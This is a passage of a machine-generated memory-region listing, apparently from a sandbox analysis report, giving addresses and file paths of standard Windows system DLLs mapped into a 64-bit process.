	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 752
	        start_va = 0x7fef5e30000
	          end_va = 0x7fef5e9efff
	     entry_point = 0x7fef5e30000
	     region_type = mapped_file
	            name = "esscli.dll"
	        filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll")

Region:
	              id = 753
	        start_va = 0x7fef5ea0000
	          end_va = 0x7fef5fcefff
	     entry_point = 0x7fef5ea0000
	     region_type = mapped_file
	            name = "wbemcore.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll")

Region:
	              id = 754
	        start_va = 0x7fef5fd0000
	          end_va = 0x7fef5fe9fff
	     entry_point = 0x7fef5fd0000
	     region_type = mapped_file
	            name = "nci.dll"
	        filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll")

Region:
	              id = 755
	        start_va = 0x7fef5ff0000
	          end_va = 0x7fef6063fff
	     entry_point = 0x7fef5ff0000
	     region_type = mapped_file
	            name = "netprofm.dll"
	        filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")

Region:
	              id = 756
	        start_va = 0x7fef6070000
	          end_va = 0x7fef60f3fff
	     entry_point = 0x7fef6070000
	     region_type = mapped_file
	            name = "netcfgx.dll"
	        filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll")

Region:
	              id = 757
	        start_va = 0x7fef6300000
	          end_va = 0x7fef6324fff
	     entry_point = 0x7fef6300000
	     region_type = mapped_file
	            name = "browser.dll"
	        filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll")

Region:
	              id = 758
	        start_va = 0x7fef6330000
	          end_va = 0x7fef636cfff
	     entry_point = 0x7fef6330000
	     region_type = mapped_file
	            name = "srvsvc.dll"
	        filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll")

Region:
	              id = 759
	        start_va = 0x7fef6370000
	          end_va = 0x7fef6396fff
	     entry_point = 0x7fef6370000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")

Region:
	              id = 760
	        start_va = 0x7fef63a0000
	          end_va = 0x7fef6481fff
	     entry_point = 0x7fef63a0000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 761
	        start_va = 0x7fef64d0000
	          end_va = 0x7fef6516fff
	     entry_point = 0x7fef64d0000
	     region_type = mapped_file
	            name = "wdscore.dll"
	        filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll")

Region:
	              id = 762
	        start_va = 0x7fef6520000
	          end_va = 0x7fef6561fff
	     entry_point = 0x7fef6520000
	     region_type = mapped_file
	            name = "sqmapi.dll"
	        filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll")

Region:
	              id = 763
	        start_va = 0x7fef6570000
	          end_va = 0x7fef6580fff
	     entry_point = 0x7fef6570000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")

Region:
	              id = 764
	        start_va = 0x7fef6590000
	          end_va = 0x7fef6621fff
	     entry_point = 0x7fef6590000
	     region_type = mapped_file
	            name = "iphlpsvc.dll"
	        filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll")

Region:
	              id = 765
	        start_va = 0x7fef73c0000
	          end_va = 0x7fef73d6fff
	     entry_point = 0x7fef73c0000
	     region_type = mapped_file
	            name = "vsstrace.dll"
	        filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll")

Region:
	              id = 766
	        start_va = 0x7fef73e0000
	          end_va = 0x7fef758ffff
	     entry_point = 0x7fef73e0000
	     region_type = mapped_file
	            name = "vssapi.dll"
	        filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll")

Region:
	              id = 767
	        start_va = 0x7fef8120000
	          end_va = 0x7fef8128fff
	     entry_point = 0x7fef8120000
	     region_type = mapped_file
	            name = "tschannel.dll"
	        filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll")

Region:
	              id = 768
	        start_va = 0x7fef8940000
	          end_va = 0x7fef8959fff
	     entry_point = 0x7fef8940000
	     region_type = mapped_file
	            name = "rascfg.dll"
	        filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll")

Region:
	              id = 769
	        start_va = 0x7fef8f60000
	          end_va = 0x7fef904dfff
	     entry_point = 0x7fef8f60000
	     region_type = mapped_file
	            name = "actxprxy.dll"
	        filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll")

Region:
	              id = 770
	        start_va = 0x7fef9340000
	          end_va = 0x7fef934efff
	     entry_point = 0x7fef9340000
	     region_type = mapped_file
	            name = "ndiscapcfg.dll"
	        filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll")

Region:
	              id = 771
	        start_va = 0x7fef93c0000
	          end_va = 0x7fef9436fff
	     entry_point = 0x7fef93c0000
	     region_type = mapped_file
	            name = "taskcomp.dll"
	        filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll")

Region:
	              id = 772
	        start_va = 0x7fef9440000
	          end_va = 0x7fef9449fff
	     entry_point = 0x7fef9440000
	     region_type = mapped_file
	            name = "ktmw32.dll"
	        filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll")

Region:
	              id = 773
	        start_va = 0x7fef9450000
	          end_va = 0x7fef9561fff
	     entry_point = 0x7fef9450000
	     region_type = mapped_file
	            name = "schedsvc.dll"
	        filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll")

Region:
	              id = 774
	        start_va = 0x7fef9570000
	          end_va = 0x7fef957efff
	     entry_point = 0x7fef9570000
	     region_type = mapped_file
	            name = "wiarpc.dll"
	        filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll")

Region:
	              id = 775
	        start_va = 0x7fef9580000
	          end_va = 0x7fef9588fff
	     entry_point = 0x7fef9580000
	     region_type = mapped_file
	            name = "fvecerts.dll"
	        filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll")

Region:
	              id = 776
	        start_va = 0x7fef9590000
	          end_va = 0x7fef9598fff
	     entry_point = 0x7fef9590000
	     region_type = mapped_file
	            name = "tbs.dll"
	        filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll")

Region:
	              id = 777
	        start_va = 0x7fef95a0000
	          end_va = 0x7fef95f5fff
	     entry_point = 0x7fef95a0000
	     region_type = mapped_file
	            name = "fveapi.dll"
	        filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll")

Region:
	              id = 778
	        start_va = 0x7fef9600000
	          end_va = 0x7fef965dfff
	     entry_point = 0x7fef9600000
	     region_type = mapped_file
	            name = "shsvcs.dll"
	        filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll")

Region:
	              id = 779
	        start_va = 0x7fef9660000
	          end_va = 0x7fef9677fff
	     entry_point = 0x7fef9660000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 780
	        start_va = 0x7fef9680000
	          end_va = 0x7fef9690fff
	     entry_point = 0x7fef9680000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 781
	        start_va = 0x7fef96b0000
	          end_va = 0x7fef9702fff
	     entry_point = 0x7fef96b0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 782
	        start_va = 0x7fefb650000
	          end_va = 0x7fefb663fff
	     entry_point = 0x7fefb650000
	     region_type = mapped_file
	            name = "sens.dll"
	        filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll")

Region:
	              id = 783
	        start_va = 0x7fefb670000
	          end_va = 0x7fefb67afff
	     entry_point = 0x7fefb670000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 784
	        start_va = 0x7fefb680000
	          end_va = 0x7fefb6a6fff
	     entry_point = 0x7fefb680000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 785
	        start_va = 0x7fefb6b0000
	          end_va = 0x7fefb716fff
	     entry_point = 0x7fefb6b0000
	     region_type = mapped_file
	            name = "es.dll"
	        filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll")

Region:
	              id = 786
	        start_va = 0x7fefb730000
	          end_va = 0x7fefb73afff
	     entry_point = 0x7fefb730000
	     region_type = mapped_file
	            name = "slc.dll"
	        filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll")

Region:
	              id = 787
	        start_va = 0x7fefb740000
	          end_va = 0x7fefb74bfff
	     entry_point = 0x7fefb740000
	     region_type = mapped_file
	            name = "dsrole.dll"
	        filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll")

Region:
	              id = 788
	        start_va = 0x7fefb750000
	          end_va = 0x7fefb75ffff
	     entry_point = 0x7fefb750000
	     region_type = mapped_file
	            name = "themeservice.dll"
	        filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll")

Region:
	              id = 789
	        start_va = 0x7fefb760000
	          end_va = 0x7fefb778fff
	     entry_point = 0x7fefb760000
	     region_type = mapped_file
	            name = "atl.dll"
	        filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll")

Region:
	              id = 790
	        start_va = 0x7fefb780000
	          end_va = 0x7fefb7b6fff
	     entry_point = 0x7fefb780000
	     region_type = mapped_file
	            name = "profsvc.dll"
	        filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll")

Region:
	              id = 791
	        start_va = 0x7fefb800000
	          end_va = 0x7fefb814fff
	     entry_point = 0x7fefb800000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 792
	        start_va = 0x7fefb820000
	          end_va = 0x7fefb8e1fff
	     entry_point = 0x7fefb820000
	     region_type = mapped_file
	            name = "gpsvc.dll"
	        filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll")

Region:
	              id = 793
	        start_va = 0x7fefbb00000
	          end_va = 0x7fefbb2cfff
	     entry_point = 0x7fefbb00000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 794
	        start_va = 0x7fefbb30000
	          end_va = 0x7fefbb4cfff
	     entry_point = 0x7fefbb30000
	     region_type = mapped_file
	            name = "mmcss.dll"
	        filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll")

Region:
	              id = 795
	        start_va = 0x7fefbb50000
	          end_va = 0x7fefbb58fff
	     entry_point = 0x7fefbb50000
	     region_type = mapped_file
	            name = "avrt.dll"
	        filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll")

Region:
	              id = 796
	        start_va = 0x7fefbc10000
	          end_va = 0x7fefbc17fff
	     entry_point = 0x7fefbc10000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 797
	        start_va = 0x7fefbcd0000
	          end_va = 0x7fefbd55fff
	     entry_point = 0x7fefbcd0000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 798
	        start_va = 0x7fefbd60000
	          end_va = 0x7fefbd73fff
	     entry_point = 0x7fefbd60000
	     region_type = mapped_file
	            name = "samcli.dll"
	        filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll")

Region:
	              id = 799
	        start_va = 0x7fefbd80000
	          end_va = 0x7fefbd94fff
	     entry_point = 0x7fefbd80000
	     region_type = mapped_file
	            name = "wkscli.dll"
	        filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")

Region:
	              id = 800
	        start_va = 0x7fefbda0000
	          end_va = 0x7fefbdabfff
	     entry_point = 0x7fefbda0000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 801
	        start_va = 0x7fefbdb0000
	          end_va = 0x7fefbdc5fff
	     entry_point = 0x7fefbdb0000
	     region_type = mapped_file
	            name = "netapi32.dll"
	        filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll")

Region:
	              id = 802
	        start_va = 0x7fefbdd0000
	          end_va = 0x7fefbdd7fff
	     entry_point = 0x7fefbdd0000
	     region_type = mapped_file
	            name = "sscore.dll"
	        filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll")

Region:
	              id = 803
	        start_va = 0x7fefbe30000
	          end_va = 0x7fefbe6ffff
	     entry_point = 0x7fefbe30000
	     region_type = mapped_file
	            name = "wmisvc.dll"
	        filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll")

Region:
	              id = 804
	        start_va = 0x7fefbee0000
	          end_va = 0x7fefbef0fff
	     entry_point = 0x7fefbee0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 805
	        start_va = 0x7fefbf00000
	          end_va = 0x7fefbf0efff
	     entry_point = 0x7fefbf00000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 806
	        start_va = 0x7fefc040000
	          end_va = 0x7fefc074fff
	     entry_point = 0x7fefc040000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 807
	        start_va = 0x7fefc4b0000
	          end_va = 0x7fefc505fff
	     entry_point = 0x7fefc4b0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")

Region:
	              id = 808
	        start_va = 0x7fefc510000
	          end_va = 0x7fefc63bfff
	     entry_point = 0x7fefc510000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 809
	        start_va = 0x7fefc640000
	          end_va = 0x7fefc65cfff
	     entry_point = 0x7fefc640000
	     region_type = mapped_file
	            name = "samlib.dll"
	        filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll")

Region:
	              id = 810
	        start_va = 0x7fefc690000
	          end_va = 0x7fefc883fff
	     entry_point = 0x7fefc690000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll")

Region:
	              id = 811
	        start_va = 0x7fefcd50000
	          end_va = 0x7fefcd5bfff
	     entry_point = 0x7fefcd50000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 812
	        start_va = 0x7fefcd60000
	          end_va = 0x7fefce1afff
	     entry_point = 0x7fefcd60000
	     region_type = mapped_file
	            name = "firewallapi.dll"
	        filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll")

Region:
	              id = 813
	        start_va = 0x7fefce20000
	          end_va = 0x7fefce26fff
	     entry_point = 0x7fefce20000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 814
	        start_va = 0x7fefcf10000
	          end_va = 0x7fefcf2afff
	     entry_point = 0x7fefcf10000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 815
	        start_va = 0x7fefcf30000
	          end_va = 0x7fefcf4dfff
	     entry_point = 0x7fefcf30000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 816
	        start_va = 0x7fefcf50000
	          end_va = 0x7fefcf61fff
	     entry_point = 0x7fefcf50000
	     region_type = mapped_file
	            name = "devrtl.dll"
	        filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll")

Region:
	              id = 817
	        start_va = 0x7fefcf70000
	          end_va = 0x7fefcf8efff
	     entry_point = 0x7fefcf70000
	     region_type = mapped_file
	            name = "spinf.dll"
	        filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll")

Region:
	              id = 818
	        start_va = 0x7fefd040000
	          end_va = 0x7fefd078fff
	     entry_point = 0x7fefd040000
	     region_type = mapped_file
	            name = "ubpm.dll"
	        filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll")

Region:
	              id = 819
	        start_va = 0x7fefd080000
	          end_va = 0x7fefd089fff
	     entry_point = 0x7fefd080000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 820
	        start_va = 0x7fefd090000
	          end_va = 0x7fefd09cfff
	     entry_point = 0x7fefd090000
	     region_type = mapped_file
	            name = "pcwum.dll"
	        filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll")

Region:
	              id = 821
	        start_va = 0x7fefd180000
	          end_va = 0x7fefd1c6fff
	     entry_point = 0x7fefd180000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 822
	        start_va = 0x7fefd270000
	          end_va = 0x7fefd29ffff
	     entry_point = 0x7fefd270000
	     region_type = mapped_file
	            name = "logoncli.dll"
	        filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll")

Region:
	              id = 823
	        start_va = 0x7fefd2a0000
	          end_va = 0x7fefd2fafff
	     entry_point = 0x7fefd2a0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 824
	        start_va = 0x7fefd410000
	          end_va = 0x7fefd416fff
	     entry_point = 0x7fefd410000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 825
	        start_va = 0x7fefd420000
	          end_va = 0x7fefd474fff
	     entry_point = 0x7fefd420000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 826
	        start_va = 0x7fefd480000
	          end_va = 0x7fefd496fff
	     entry_point = 0x7fefd480000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 827
	        start_va = 0x7fefd590000
	          end_va = 0x7fefd5c1fff
	     entry_point = 0x7fefd590000
	     region_type = mapped_file
	            name = "netjoin.dll"
	        filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll")

Region:
	              id = 828
	        start_va = 0x7fefd5e0000
	          end_va = 0x7fefd5e9fff
	     entry_point = 0x7fefd5e0000
	     region_type = mapped_file
	            name = "sysntfy.dll"
	        filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll")

Region:
	              id = 829
	        start_va = 0x7fefd670000
	          end_va = 0x7fefd69efff
	     entry_point = 0x7fefd670000
	     region_type = mapped_file
	            name = "authz.dll"
	        filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll")

Region:
	              id = 830
	        start_va = 0x7fefd6b0000
	          end_va = 0x7fefd71cfff
	     entry_point = 0x7fefd6b0000
	     region_type = mapped_file
	            name = "wevtapi.dll"
	        filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll")

Region:
	              id = 831
	        start_va = 0x7fefd720000
	          end_va = 0x7fefd733fff
	     entry_point = 0x7fefd720000
	     region_type = mapped_file
	            name = "cryptdll.dll"
	        filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll")

Region:
	              id = 832
	        start_va = 0x7fefd980000
	          end_va = 0x7fefd9a2fff
	     entry_point = 0x7fefd980000
	     region_type = mapped_file
	            name = "srvcli.dll"
	        filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")

Region:
	              id = 833
	        start_va = 0x7fefda20000
	          end_va = 0x7fefda2afff
	     entry_point = 0x7fefda20000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 834
	        start_va = 0x7fefda50000
	          end_va = 0x7fefda74fff
	     entry_point = 0x7fefda50000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 835
	        start_va = 0x7fefda80000
	          end_va = 0x7fefda8efff
	     entry_point = 0x7fefda80000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 836
	        start_va = 0x7fefda90000
	          end_va = 0x7fefdb20fff
	     entry_point = 0x7fefda90000
	     region_type = mapped_file
	            name = "sxs.dll"
	        filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll")

Region:
	              id = 837
	        start_va = 0x7fefdb30000
	          end_va = 0x7fefdb6cfff
	     entry_point = 0x7fefdb30000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 838
	        start_va = 0x7fefdb70000
	          end_va = 0x7fefdb83fff
	     entry_point = 0x7fefdb70000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 839
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdb9efff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 840
	        start_va = 0x7fefdc30000
	          end_va = 0x7fefdc3efff
	     entry_point = 0x7fefdc30000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 841
	        start_va = 0x7fefdce0000
	          end_va = 0x7fefdd15fff
	     entry_point = 0x7fefdce0000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 842
	        start_va = 0x7fefdd20000
	          end_va = 0x7fefdd59fff
	     entry_point = 0x7fefdd20000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 843
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 844
	        start_va = 0x7fefddd0000
	          end_va = 0x7fefdde9fff
	     entry_point = 0x7fefddd0000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 845
	        start_va = 0x7fefddf0000
	          end_va = 0x7fefdf56fff
	     entry_point = 0x7fefddf0000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 846
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 847
	        start_va = 0x7fefdfd0000
	          end_va = 0x7fefed57fff
	     entry_point = 0x7fefdfd0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 848
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 849
	        start_va = 0x7fefee30000
	          end_va = 0x7fefee7cfff
	     entry_point = 0x7fefee30000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 850
	        start_va = 0x7feff0e0000
	          end_va = 0x7feff1bafff
	     entry_point = 0x7feff0e0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 851
	        start_va = 0x7feff1c0000
	          end_va = 0x7feff1defff
	     entry_point = 0x7feff1c0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 852
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 853
	        start_va = 0x7feff2f0000
	          end_va = 0x7feff4c6fff
	     entry_point = 0x7feff2f0000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")

Region:
	              id = 854
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 855
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 856
